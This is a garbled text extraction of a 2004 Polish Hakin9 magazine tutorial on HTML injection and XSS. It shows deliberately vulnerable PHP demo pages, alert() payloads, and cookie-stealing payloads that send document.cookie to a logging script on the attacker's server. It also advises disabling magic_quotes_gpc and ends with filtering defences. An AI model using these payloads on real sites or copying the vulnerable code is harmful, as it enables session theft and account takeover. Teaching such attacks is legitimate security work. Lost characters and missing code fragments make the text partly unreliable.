Ataki HTML Injection

8
Ataki HTML injection Brandon Petty Artykuł opublikowany w numerze 1/2004 magazynu “Hakin9” Wszelkie prawa zastrzeżone. Bezpłatne kopiowanie i rozpowszechnianie artykułu dozwolone pod warunkiem zachowania jego obecnej formy i treści. Magazyn “Hakin9”, Wydawnictwo Software, ul. Lewartowskiego 6, 00-190 Warszawa, [email protected]

description

Ataki HTML Injection

Transcript of Ataki HTML Injection

  • AtakiHTMLinjection

    Brandon Petty

    Artyku opublikowany w numerze 1/2004 magazynu Hakin9

    Wszelkie prawa zastrzeone. Bezpatne kopiowanie i rozpowszechnianie artykuudozwolone pod warunkiem zachowania jego obecnej formy i treci.

    Magazyn Hakin9, Wydawnictwo Software, ul. Lewartowskiego 6, 00-190 Warszawa, [email protected]

  • www.hakin9.org2 Hakin9 Nr 1/2004

    Dla

    poc

    ztk

    ujc

    ych

    Przyjrzyjmy si stronie, ktrej kodrdowy przedstawiony jest na Listin-gach 1 i 2 (http://127.0.0.1/inject/html_ex.html). Wyglda prosto, prawda? W formu-larzu wybieramy interesujcy nas format(MP3, OGG lub WAV) i klikamy OK. War-to zmiennej music przesyana jest do strony html_ex.php:

    Ten plik wypisuje nazw wybranego przez nas formatu:

    $myURL = $_REQUEST[music];

    (...)

    Twj wybr:

    Dziaanie strony jest tak proste, e a nie chce si wierzy, by moga ona zawiera jakie luki zwizane z bezpieczestwem. A jednak sprbujmy wpisa w przegldar-ce adres http://127.0.0.1/inject/html_ex.php?

    Ataki HTML injection

    Brandon Petty

    Ataki HTML injection polegaj na przesaniu stronie, ktra oczekuje od nas danychw postaci czystego tekstu, cigu zawierajcego specjalnie spreparowany kod HTML. Co moemy w ten sposb osign?

    music =aler t ( 'hakin9 ' )< /scr ipt>. Na ekranie pojawia si okienko dialogowe z napisem hakin9. Ciekawe, prawda? Obej-rzyjmy rdo strony, ktra si wywietlia (Listing 3).

    Jak wida PHP uwierzy, e cig podany przez nas w adresie jest przesany przez for-mularz (metod GET) i wstawi go w wysany przegldarce kod HTML. Znacznik nakazuje uycie JavaScriptu, co pozwala nam uy funkcji alert() w celu wywietlenia wy-skakujcego okienka.

    Bardziej zoony przykad proste forumBardziej zoony przykad przedstawia Listing 4 i 5 http://127.0.0.1/inject/xss_ex.php. Jest to uprosz-czona wersja mechanizmu, ktry znajdziemy na wielu dziaajcych w Sieci forach dyskusyjnych. Strona xss_ex.php zawiera formularz, w ktry wpisujemy nazw uytkownika i haso (root i demo). Dane te przesyane s znowu do pliku xss_ex.php:

  • www.hakin9.org 3Hakin9 Nr 1/2004

    Ataki HTML injection

    Po ich odebraniu skrypt wysya klien-towi cookies zawierajce nazw uyt-kownika i haso:

    setcookie("mylogin",$_POST['login']);

    setcookie("mypaswd",$_POST['paswd']);

    Dziki temu przy kolejnych odwiedzi-nach nie bdzie trzeba podawa tych danych drugi raz. Po wysaniu co-okies skrypt wysya nagwek HTTP location, co powoduje otwarcie stro-ny exploit.php:

    header("Location: exploit.php");

    Po zalogowaniu si trafiamy na stro-n symulujc zamieszczanie na fo-rum obrazka. Na stronie tej znajduje si prosty formularz, w ktry wpisuje-my link do pliku graficznego. Po wci-niciu przycisku link przesyany jest do skryptu, ktry umieszcza go w ba-zie danych i wywietla.

    Sprbujmy przeprowadzi atakHTML injection podobny do po-przedniego. Jako link obrazka wpiszmy: http://127.0.0.1/inject/image.jpg" >aler t ( 'hakin9'). Efekt powinien by identyczny jak w poprzednim przy-padku. Zajrzyjmy do rde wywie-tlonej strony, znajdziemy w nich linijk:

    alert('hakin9')">

    Jak to dziaa? To proste zauwa-my, e cig ">, ktry umiecilimy po nazwie pliku z grafik, spowodowa zamknicie tagu img. Nastpujcy dalej cig alert('hakin9') spowodowa tak samo jak w poprzednim przykadzie wy-wietlenie okna dialogowego.

    Przykad zastosowania techniki XSSNo tak ale generowanie wyskaku-jcych okienek to troch zbyt mao,

    Listing 1. Najprostszy przykad strony podatnej na atak HTML injection plik html_ex.html

    [Wybierz format]

    .MP3

    .OGG

    .WAV

    Listing 2. Cig dalszy strony podatnej na atak HTML injection plik html_ex.php

    Prosty przykad

    Twj wybr:

    Jeli nie dziaa przykad html_ex.phpJeli na Twoim komputerze nie dziaa przykad przedstawiony na Listin-gach 1 i 2 (wpisanie adresu podanego w artykule nie powoduje wywietlenia okienka dialogowego), sprawd, czy w opcjach przegldarki nie wyczy-e JavaScriptu. Jeli JavaScript jest wyczony, okno dialogowe nie mo-e zosta wywietlone. Obejrzyj te rdo strony, ktra wywietlia si po wpisaniu podanego w artykule adresu i porwnaj j z przedstawionym na Li-stingu 3. W szczeglnoci sprawd, czy linijka:

    alert(hakin9)

    u ciebie nie wyglda tak:

    alert(\hakin9\)

    Jeli tak jest prawdopodobnie w pli-ku konfiguracyjnym PHP (/etc/php.ini w wikszoci dystrybucji Linuksa) masz ustawion opcj:

    magic_quotes_gpc=On

    Opcja ta zabezpiecza przed wieloma rodzajami ataku HTML injection, aby wic wyprbowa dziaanie opisanych w artykule atakw ustaw j na mniej bezpieczn warto:

    magic_quotes_gpc=Off

    Listing 3. rdo strony, ktra wywietla si po wpisaniu adresu http://127.0.0.1/inject/html_ex.php?music=alert('hakin9')

    Prosty przykad

    Wybrae:

    alert('hakin9')

  • www.hakin9.org4 Hakin9 Nr 1/2004

    Dla

    poc

    ztk

    ujc

    ych

    by mwi o hakerstwie. Sprbujmy zrobi co bardziej ambitnego.

    Przede wszystkim aby atak HTML injection odnis powany

    skutek, nasz kod musi by umiesz-czony na stronie, ktr oglda wie-le osb. Jak widzielimy w poprzed-nim przykadzie nie jest to trudne

    wystarczy wykorzysta dowolne fo-rum. Wan cech forum z poprzed-niego przykadu jest te fakt, e kie-dy internauta loguje si, jego nazwa

    Rysunek 1. Strona z Listingw 1 i 2 dziaanie zwyke i wymuszone przez hakera wywietlenie wyskakujcego okienka

    Listing 4. Dziurawe forum xss_ex.php

    if ($_SERVER['REQUEST_METHOD'] == "POST") {

    setcookie("mylogin",$_POST['login']);

    setcookie("mypaswd",$_POST['paswd']);

    header("Location: exploit.php");

    }

    if ($_COOKIE['mylogin'] || $_COOKIE['mypasswd']) {

    echo("Ju jeste zalogowany ");

    }

    else

    {

    ?>

    HTML Injection Demo

    Login:

    Paswd:

    ...

  • www.hakin9.org 5Hakin9 Nr 1/2004

    Ataki HTML injection

    uytkownika i haso s zapamitane w cookies. Za chwil przekonamy si, e jest moliwe wykradzenie czyje-go cookie, co pozwoli nam podszy-wa si pod innych uytkownikw.

    Zacznijmy od prostego przyka-du. Zamiast odnonika do obrazka (mwimy cay czas o forum z Listin-gw 4 i 5) wstawmy w okienko poni-szy cig:

    http://127.0.0.1/inject/image.jpg">

    alert(document.cookie)

    Spowoduje to wywietlenie okienka z napisem:

    mylogin=root; mypasswd=demo

    Jak wida zmienna document.cookie przechowuje warto cookies dla strony, na ktrej si znajdujemy. Jed-nak nam nie chodzi o to, eby ka-dy uytkownik zobaczy swoje dane chcemy, eby te dane zostay prze-

    Listing 5. Dziurawe forum, cig dalszy exploit.php

    HTML Injection Demo

    URL obrazka:

    ...

    ...

    $SQL_String = "SELECT User.Link FROM User";

    $SQL_String .= " Where(User.Login = 'root');";

    $rs = mysql_query ($SQL_String) or die ($SQL_String);

    if ($row = mysql_fetch_object ($rs))

    {

    echo "\n";

    }

    else

    {

    echo "Bd!!\n";

    }

    ...

    Konwersja znakw ASCII na symbole szesnastkoweSpjrzmy na dwa ponisze odnoniki:

    http://127.0.0.1/inject/html_ex.php?music=alert('hakin9')

    http://127.0.0.1/inject/html_ex.php?music=

    %3Cscript%3Ealert%28%27hakin9%27%29%3C%2Fscript%3E

    Warto wiedzie, e oba prowadz w to samo miejsce. To proste znak < nosi w ASCII numer 3C (szesnastkowo), wic zamiast pisa %3E

    ? %3F

    @ %40

    [ %5B

    \ %5C

    ] %5D

    ^ %5E

    _ %5F

    ~ %7E

  • www.hakin9.org6 Hakin9 Nr 1/2004

    Dla

    poc

    ztk

    ujc

    ych

    sane do nas. Najprostszy sposb na osignicie tego celu to wstawienie linku, ktry spowoduje otwarcie na-szej strony, w zmiennych przesa-nych metod GET przekazujc war-to zmiennej document.cookie.

    Przyjrzyjmy si skryptowi z Listin-gu 7. Jeli otworzymy go w ten spo-sb: http://127.0.0.1/~haking/inject/cookie.php?cookie=przykladowy _tekst spowoduje on zapisanie do pliku cookies.txt cigu przykladowy_tekst. Jeli w otwieranym adresie zamiast cigu przykladowy_tekst umieciliby-

    my zawarto cookies zostayby one przesane na nasz serwer!

    Przeanalizujmy dziaanie linku przedstawionego na Listingu 6 (pierw-szy link). Wpisanie go w okienku, w ktrym podajemy odnonik do ob-razka, spowoduje wysanie do klienta poniszego kodu:

    Rysunek 2. Schemat dziaania uproszczonego modelu forum z Listingw 4 i 5

    Listing 6. Przykadowe cigi, ktrych wpisanie w okienku wyboru obrazka spowoduje wysanie intruzowi zawartoci cookies

    image.jpg" width="0" height="0" name="hia" onload="hia.src='http://127.0.0.1/inject/

    cookie.php?cookie='+document.cookie;

    ./image.jpg" name="hia" onload="hia.src='http://127.0.0.1/inject/cookie.php?cookie='%2Bdocument.cookie;">

  • www.hakin9.org 7Hakin9 Nr 1/2004

    Ataki HTML injection

    To proste podany przez nas cigzosta podobnie, jak w poprze-dnich przykadach wstawionyw miejsce, w ktre ma trafialink do obrazka. Spowoduje to, e wywietlony zostanie obra-zek image.jpg o wymiarach 0x0 pikseli (nie bdzie wic on wi-doczny). Po jego zaadowaniu (metoda onload) jako obrazek zaa-dowany zostanie URL:

    http://127.0.0.1/inject/

    cookie.php?cookie='+document.cookie;

    Jak ju widzielimy, spowoduje to wysanie na serwer cookies uytko-wnika ktre zostan zapisanena naszym serwerze (tam, gdzie umieszczony jest plik cookie.php), w pliku cookies.txt. Aby uspraw-ni sobie przeprowadzanie ataku moemy uy skryptu z Listingu 8.

    W niektrych sytuacjach koniecz-ne moe by uycie cigu

  • www.hakin9.org8 Hakin9 Nr 1/2004

    Dla

    poc

    ztk

    ujc

    ych

    sytuacjach obrona przed nimi nie jest atwa. Istniej dwa sposoby na to, by zabezpieczy swoj stron przed ha-kerem.

    Pierwszy sposb polega na ana-lizowaniu przychodzcych danych (po stronie serwera), zanim zostan one wczone w kod strony wysanej klientowi. Odpowiednia funkcja moe sprawdza, czy w danych nie zosta umieszczony zoliwy kod HTML i al-bo odmwi ich przyjcia, albo spr-bowa wyci podejrzane fragmenty. Przykad zastosowania tej metody przedstawiony jest na Listingu 10. Przedstawia on odporn na atak wer-

    sj strony z Listingu 2. Jak wida napi-salimy funkcj is _ clean(). Sprawdza ona, czy podane dane nie zawieraj cigw "> lub

    Prosty przykad

    Wybrae